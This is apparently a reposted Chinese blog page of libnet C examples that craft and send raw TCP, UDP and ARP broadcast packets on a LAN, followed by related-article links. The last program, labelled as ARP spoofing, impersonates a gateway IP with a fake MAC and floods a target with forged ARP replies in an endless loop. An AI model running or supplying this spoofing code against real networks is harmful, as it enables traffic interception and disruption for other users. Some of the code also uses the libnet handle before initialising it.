1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle; /* Libnet句柄 */
  4. int packet_size; /* 构造的数据包大小 */
  5. char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7. char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8. u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9. u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10. u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  12. libnet_ptag_t eth_tag, ip_tag, tcp_tag, tcp_op_tag; /* 各层build函数返回值 */
  13. u_short proto = IPPROTO_TCP; /* 传输层协议 */
  14. u_char payload[255] = {0}; /* 承载数据的数组,初值为空 */
  15. u_long payload_s = 0; /* 承载数据的长度,初值为0 */
  16. /* 把目的IP地址字符串转化成网络序 */
  17. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18. /* 把源IP地址字符串转化成网络序 */
  19. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  20. /* 初始化Libnet */
  21. if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22. printf("libnet_init failure\n");
  23. return (-1);
  24. };
  25. strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  26. payload_s = strlen(payload); /* 计算负载内容的长度 */
  27. #if 0
  28. /* 构建TCP的选项,通常在第一个TCP通信报文中设置MSS */
  29. tcp_op_tag = libnet_build_tcp_options(
  30. payload,
  31. payload_s,
  32. handle,
  33. 0
  34. );
  35. if (tcp_op_tag == -1) {
  36. printf("build_tcp_options failure\n");
  37. return (-2);
  38. };
  39. #endif
  40. tcp_tag = libnet_build_tcp(
  41. 30330,                    /* 源端口 */
  42. 30331,                    /* 目的端口 */
  43. 8888,                    /* 序列号 */
  44. 8889,                    /* 确认号 */
  45. TH_PUSH | TH_ACK,        /* Control flags */
  46. 14600,                    /* 窗口尺寸 */
  47. 0,                        /* 校验和,0为自动计算 */
  48. 0,                        /* 紧急指针 */
  49. LIBNET_TCP_H + payload_s, /* 长度 */
  50. payload,                    /* 负载内容 */
  51. payload_s,                /* 负载内容长度 */
  52. handle,                    /* libnet句柄 */
  53. 0                        /* 新建包 */
  54. );
  55. if (tcp_tag == -1) {
  56. printf("libnet_build_tcp failure\n");
  57. return (-3);
  58. };
  59. /* 构造IP协议块,返回值是新生成的IP协议快的一个标记 */
  60. ip_tag = libnet_build_ipv4(
  61. LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* IP协议块的总长,*/
  62. 0, /* tos */
  63. (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  64. 0, /* frag 片偏移 */
  65. (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  66. proto, /* 上层协议 */
  67. 0, /* 校验和,此时为0,表示由Libnet自动计算 */
  68. src_ip, /* 源IP地址,网络序 */
  69. dst_ip, /* 目标IP地址,网络序 */
  70. NULL, /* 负载内容或为NULL */
  71. 0, /* 负载内容的大小*/
  72. handle, /* Libnet句柄 */
  73. 0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  74. );
  75. if (ip_tag == -1) {
  76. printf("libnet_build_ipv4 failure\n");
  77. return (-4);
  78. };
  79. /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  80. eth_tag = libnet_build_ethernet(
  81. dst_mac, /* 以太网目的地址 */
  82. src_mac, /* 以太网源地址 */
  83. ETHERTYPE_IP, /* 以太网上层协议类型,此时为IP类型 */
  84. NULL, /* 负载,这里为空 */
  85. 0, /* 负载大小 */
  86. handle, /* Libnet句柄 */
  87. 0 /* 协议块标记,0表示构造一个新的 */
  88. );
  89. if (eth_tag == -1) {
  90. printf("libnet_build_ethernet failure\n");
  91. return (-5);
  92. };
  93. packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  94. libnet_destroy(handle); /* 释放句柄 */
  95. return (0);
  96. }

UDP:

  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle; /* Libnet句柄 */
  4. int packet_size; /* 构造的数据包大小 */
  5. char *device = "eth0"; /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. char *src_ip_str = "192.168.2.148"; /* 源IP地址字符串 */
  7. char *dst_ip_str = "192.168.2.170"; /* 目的IP地址字符串 */
  8. u_char src_mac[6] = {0x00, 0x0c, 0x29, 0xba, 0xee, 0xdd}; /* 源MAC */
  9. u_char dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c}; /* 目的MAC */
  10. u_long dst_ip, src_ip; /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE]; /* 出错信息 */
  12. libnet_ptag_t eth_tag, ip_tag, udp_tag; /* 各层build函数返回值 */
  13. u_short proto = IPPROTO_UDP; /* 传输层协议 */
  14. u_char payload[255] = {0}; /* 承载数据的数组,初值为空 */
  15. u_long payload_s = 0; /* 承载数据的长度,初值为0 */
  16. /* 把目的IP地址字符串转化成网络序 */
  17. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  18. /* 把源IP地址字符串转化成网络序 */
  19. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  20. /* 初始化Libnet */
  21. if ( (handle = libnet_init(LIBNET_LINK, device, error)) == NULL ) {
  22. printf("libnet_init failure\n");
  23. return (-1);
  24. };
  25. strncpy(payload, "test", sizeof(payload)-1); /* 构造负载的内容 */
  26. payload_s = strlen(payload); /* 计算负载内容的长度 */
  27. udp_tag = libnet_build_udp(
  28. 30330, /* 源端口 */
  29. 30331, /* 目的端口 */
  30. LIBNET_UDP_H + payload_s, /* 长度 */
  31. 0, /* 校验和,0为libnet自动计算 */
  32. payload, /* 负载内容 */
  33. payload_s, /* 负载内容长度 */
  34. handle, /* libnet句柄 */
  35. 0 /* 新建包 */
  36. );
  37. if (udp_tag == -1) {
  38. printf("libnet_build_tcp failure\n");
  39. return (-3);
  40. };
  41. /* 构造IP协议块,返回值是新生成的IP协议快的一个标记 */
  42. ip_tag = libnet_build_ipv4(
  43. LIBNET_IPV4_H + LIBNET_UDP_H + payload_s, /* IP协议块的总长,*/
  44. 0, /* tos */
  45. (u_short) libnet_get_prand(LIBNET_PRu16), /* id,随机产生0~65535 */
  46. 0, /* frag 片偏移 */
  47. (u_int8_t)libnet_get_prand(LIBNET_PR8), /* ttl,随机产生0~255 */
  48. proto, /* 上层协议 */
  49. 0, /* 校验和,此时为0,表示由Libnet自动计算 */
  50. src_ip, /* 源IP地址,网络序 */
  51. dst_ip, /* 目标IP地址,网络序 */
  52. NULL, /* 负载内容或为NULL */
  53. 0, /* 负载内容的大小*/
  54. handle, /* Libnet句柄 */
  55. 0 /* 协议块标记可修改或创建,0表示构造一个新的*/
  56. );
  57. if (ip_tag == -1) {
  58. printf("libnet_build_ipv4 failure\n");
  59. return (-4);
  60. };
  61. /* 构造一个以太网协议块,只能用于LIBNET_LINK */
  62. eth_tag = libnet_build_ethernet(
  63. dst_mac, /* 以太网目的地址 */
  64. src_mac, /* 以太网源地址 */
  65. ETHERTYPE_IP, /* 以太网上层协议类型,此时为IP类型 */
  66. NULL, /* 负载,这里为空 */
  67. 0, /* 负载大小 */
  68. handle, /* Libnet句柄 */
  69. 0 /* 协议块标记,0表示构造一个新的 */
  70. );
  71. if (eth_tag == -1) {
  72. printf("libnet_build_ethernet failure\n");
  73. return (-5);
  74. };
  75. packet_size = libnet_write(handle); /* 发送已经构造的数据包*/
  76. libnet_destroy(handle); /* 释放句柄 */
  77. return (0);
  78. }
 
ARP广播包:
  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle;        /* Libnet句柄 */
  4. int packet_size;
  5. char *device = "eth0";   /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. u_int8_t *src_ip_str = "192.168.128.200";       /* 源IP地址字符串 */
  7. u_int8_t *dst_ip_str = "192.168.128.88";        /* 目的IP地址字符串 */
  8. u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x86};/* 源MAC */
  9. u_int8_t dst_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};/* 目的MAC,广播地址 */
  10. /* 接收方MAC,ARP请求目的就是要询问对方MAC,所以这里填写0 */
  11. u_int8_t rev_mac[6] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  12. u_int32_t dst_ip, src_ip;              /* 网路序的目的IP和源IP */
  13. char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  14. libnet_ptag_t arp_proto_tag, eth_proto_tag;
  15. /* 把目的IP地址字符串转化成网络序 */
  16. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  17. /* 把源IP地址字符串转化成网络序 */
  18. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  19. if ( dst_ip == -1 || src_ip == -1 ) {
  20. printf("ip address convert error\n");
  21. exit(-1);
  22. };
  23. /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  24. if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  25. printf("libnet_init: error [%s]\n", error);
  26. exit(-2);
  27. };
  28. /* 构造arp协议块 */
  29. arp_proto_tag = libnet_build_arp(
  30. ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  31. ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  32. 6,                   /* 硬件地址长度 */
  33. 4,                   /* IP地址长度 */
  34. ARPOP_REQUEST,       /* 操作方式:ARP请求 */
  35. src_mac,             /* source MAC addr */
  36. (u_int8_t *)&src_ip, /* src proto addr */
  37. rev_mac,             /* dst MAC addr */
  38. (u_int8_t *)&dst_ip, /* dst IP addr */
  39. NULL,                /* no payload */
  40. 0,                   /* payload length */
  41. handle,              /* libnet tag */
  42. 0                    /* Create new one */
  43. );
  44. if (arp_proto_tag == -1)    {
  45. printf("build IP failure\n");
  46. exit(-3);
  47. };
  48. /* 构造一个以太网协议块
  49. You should only use this function when
  50. libnet is initialized with the LIBNET_LINK interface.*/
  51. eth_proto_tag = libnet_build_ethernet(
  52. dst_mac,         /* 以太网目的地址 */
  53. src_mac,         /* 以太网源地址 */
  54. ETHERTYPE_ARP,   /* 以太网上层协议类型,此时为ARP请求 */
  55. NULL,            /* 负载,这里为空 */
  56. 0,               /* 负载大小 */
  57. handle,          /* Libnet句柄 */
  58. 0                /* 协议块标记,0表示构造一个新的 */
  59. );
  60. if (eth_proto_tag == -1) {
  61. printf("build eth_header failure\n");
  62. return (-4);
  63. };
  64. packet_size = libnet_write(handle);    /* 发送已经构造的数据包*/
  65. libnet_destroy(handle);                /* 释放句柄 */
  66. return (0);
  67. }
arp应答包(arp欺骗)
  1. #include <libnet.h>
  2. int main() {
  3. libnet_t *handle;        /* Libnet句柄 */
  4. int packet_size;
  5. char *device = "eth0";    /* 设备名字,也支持点十进制的IP地址,会自己找到匹配的设备 */
  6. u_int8_t *src_ip_str = "192.168.2.30";        /* 冒充的网关IP */
  7. u_int8_t *dst_ip_str = "192.168.2.170";        /* 干扰的目标IP */
  8. u_int8_t src_mac[6] = {0x00, 0x0c, 0x29, 0x73, 0xfa, 0x11};/* 虚假的源MAC */
  9. u_int8_t dst_mac[6] = {0x00, 0x0c, 0x29, 0x6d, 0x4d, 0x5c};/* 干扰的目标MAC */
  10. u_int32_t dst_ip, src_ip;                /* 网路序的目的IP和源IP */
  11. char error[LIBNET_ERRBUF_SIZE];        /* 出错信息 */
  12. libnet_ptag_t arp_proto_tag, eth_proto_tag;
  13. /* 把目的IP地址字符串转化成网络序 */
  14. dst_ip = libnet_name2addr4(handle, dst_ip_str, LIBNET_RESOLVE);
  15. /* 把源IP地址字符串转化成网络序 */
  16. src_ip = libnet_name2addr4(handle, src_ip_str, LIBNET_RESOLVE);
  17. if ( dst_ip == -1 || src_ip == -1 ) {
  18. printf("ip address convert error\n");
  19. exit(-1);
  20. };
  21. /* 初始化Libnet,注意第一个参数和TCP初始化不同 */
  22. if ( (handle = libnet_init(LIBNET_LINK_ADV, device, error)) == NULL ) {
  23. printf("libnet_init: error [%s]\n", error);
  24. exit(-2);
  25. };
  26. /* 构造arp协议块 */
  27. arp_proto_tag = libnet_build_arp(
  28. ARPHRD_ETHER,        /* 硬件类型,1表示以太网硬件地址 */
  29. ETHERTYPE_IP,        /* 0x0800表示询问IP地址 */
  30. 6,                    /* 硬件地址长度 */
  31. 4,                    /* IP地址长度 */
  32. ARPOP_REPLY,        /* 操作方式:ARP请求 */
  33. src_mac,                /* source MAC addr */
  34. (u_int8_t *)&src_ip,    /* src proto addr */
  35. dst_mac,                /* dst MAC addr */
  36. (u_int8_t *)&dst_ip,    /* dst IP addr */
  37. NULL,                /* no payload */
  38. 0,                    /* payload length */
  39. handle,                /* libnet tag */
  40. 0                    /* Create new one */
  41. );
  42. if (arp_proto_tag == -1)    {
  43. printf("build IP failure\n");
  44. exit(-3);
  45. };
  46. /* 构造一个以太网协议块
  47. You should only use this function when
  48. libnet is initialized with the LIBNET_LINK interface.*/
  49. eth_proto_tag = libnet_build_ethernet(
  50. dst_mac,            /* 以太网目的地址 */
  51. src_mac,            /* 以太网源地址 */
  52. ETHERTYPE_ARP,    /* 以太网上层协议类型,此时为ARP请求 */
  53. NULL,            /* 负载,这里为空 */
  54. 0,                /* 负载大小 */
  55. handle,            /* Libnet句柄 */
  56. 0                /* 协议块标记,0表示构造一个新的 */
  57. );
  58. if (eth_proto_tag == -1)    {
  59. printf("build eth_header failure\n");
  60. return (-4);
  61. };
  62. while(1) {
  63. packet_size = libnet_write(handle);        /* 死循环发送arp欺骗广播 */
  64. usleep(1000);
  65. };
  66. libnet_destroy(handle);                /* 释放句柄 */
  67. return (0);
  68. }
  69. from:http://blog.chinaunix.net/uid-10540984-id-3245098.html

libnet发包例子(tcp udp arp广播)的更多相关文章

  1. 三十天学不会TCP,UDP/IP网络编程-ARP -- 连接MAC和IP

    继续来做(da)推(guang)介(gao)我自己的!由于这两年接触到了比较多的这方面的知识,不想忘了,我决定把他们记录下来,所以决定在GitBook用半年时间上面写下来,这是目前写的一节,目前已完成 ...

  2. [JSBSim]基于winsocket2的TCP\UDP使用例子

    TCP部分: 参考:http://blog.csdn.net/sbfksmq/article/details/50808863 另附:linux下的tcp/udp参考:https://www.cnbl ...

  3. centos Linux系统日常管理2 tcpdump,tshark,selinux,strings命令, iptables ,crontab,TCP,UDP,ICMP,FTP网络知识 第十五节课

    centos  Linux系统日常管理2  tcpdump,tshark,selinux,strings命令, iptables ,crontab,TCP,UDP,ICMP,FTP网络知识 第十五节课 ...

  4. 高性能 TCP & UDP 通信框架 HP-Socket v3.3.1

    HP-Socket 是一套通用的高性能 TCP/UDP 通信框架,包含服务端组件.客户端组件和 Agent 组件,广泛适用于各种不同应用场景的 TCP/UDP 通信系统,提供 C/C++.C#.Del ...

  5. HTTP,FTP,TCP,UDP及SOCKET

    一.TCP/IP协议简析TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层:网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议传输层:TCP协议与UDP协议应用层:F ...

  6. SOCKET,TCP/UDP,HTTP,FTP

    (一)TCP/UDP,SOCKET,HTTP,FTP简析 TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层: 网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议 传 ...

  7. [网络] SOCKET, TCP/UDP, HTTP, FTP

    (一)TCP/UDP,SOCKET,HTTP,FTP简析 TCP/IP是个协议组,可分为三个层次:网络层.传输层和应用层: 网络层:IP协议.ICMP协议.ARP协议.RARP协议和BOOTP协议 传 ...

  8. TCP/UDP简介

    TCP/UDP简介 Socket小白篇-附加TCP/UDP简介 Socket 网络通信的要素 TCP和UDP Socket的通信流程图 1.Socket 什么是Socket Socket:又称作是套接 ...

  9. 异常处理与网络基础中的tcp,udp协议

    # 异常处理: # 什么是异常?异常和错误的区别 # Error 语法错误 比较明显的错误 在编译代码阶段就能检测出来 # Iteration 异常 在执行代码的过程中引发的异常 # 异常发生之后的效 ...

随机推荐

  1. android之多媒体篇(三)

    录像 Android提供了2种方案去录像. 方案一: 最简单的方式就是使用Intents去启动App来帮助你完成.这个方案使你能够指定输出的位置和视频的质量.这方案通常是最好的方法,应该可以用在多种情 ...

  2. 解决Mac下SublimeLinter的Unsafe Characters警告

    Mac下编辑JS文件, 如果是中文字符的行会警告: This character may get silently deleted by one or more browsers. SublimeLi ...

  3. SQL Server XML Path[转]

    FOR XML PATH 有的人可能知道有的人可能不知道,其实它就是将查询结果集以XML形式展现,有了它我们可以简化我们的查询语句实现一些以前可能需要借助函数活存储过程来完成的工作.那么以一个实例为主 ...

  4. strassen algorithm

    the explaination that is clear in my view is from wiki.

  5. 十六款值得关注的NoSQL与NewSQL数据库--转载

    原文地址:http://tech.it168.com/a2014/0929/1670/000001670840_all.shtml [IT168 评论]传统关系型数据库在诞生之时并未考虑到如今如火如荼 ...

  6. RabbitMQ+PHP 消息队列环境配置

    参考文档:http://www.cnblogs.com/phpinfo/p/4104551...http://blog.csdn.net/historyasamirror/ar... 依赖包安装 yu ...

  7. A real ROCA using Bootstrap, jQuery, Thymeleaf, Spring HATEOAS and Spring MVC

    http://www.tuicool.com/articles/ENfe2u https://github.com/tobiasflohre/movie-database What is the be ...

  8. [改善Java代码]不要在finally块中处理返回值

    在finally代码块中处理返回值,这是在面试题中经常出现的题目.但是在项目中绝对不能再finally代码块中出现return语句,这是因为这种处理方式非常容易产生"误解",会严重 ...

  9. web项目的两个创建形式website和webapplication(转)

    前言 在利用VS2010创建web项目的时候,会有两个选择.可以选择直接创建website网站,还可以选择使用 webapplication应用程序.刚刚接触web开发,看到这两个就疑惑了,既然是都可 ...

  10. 【.net】创建属于自己的log组件——改进版

    在上一篇随笔中,建立了一个自己的Log简单日志记录类   可是在众多园友的提点下,对于线程,阻塞,资源竞争等都没有仔细的去了解 在这版的改进中,我们新加了线程操作,线程等待,以及多层的错误捕获.[不知 ...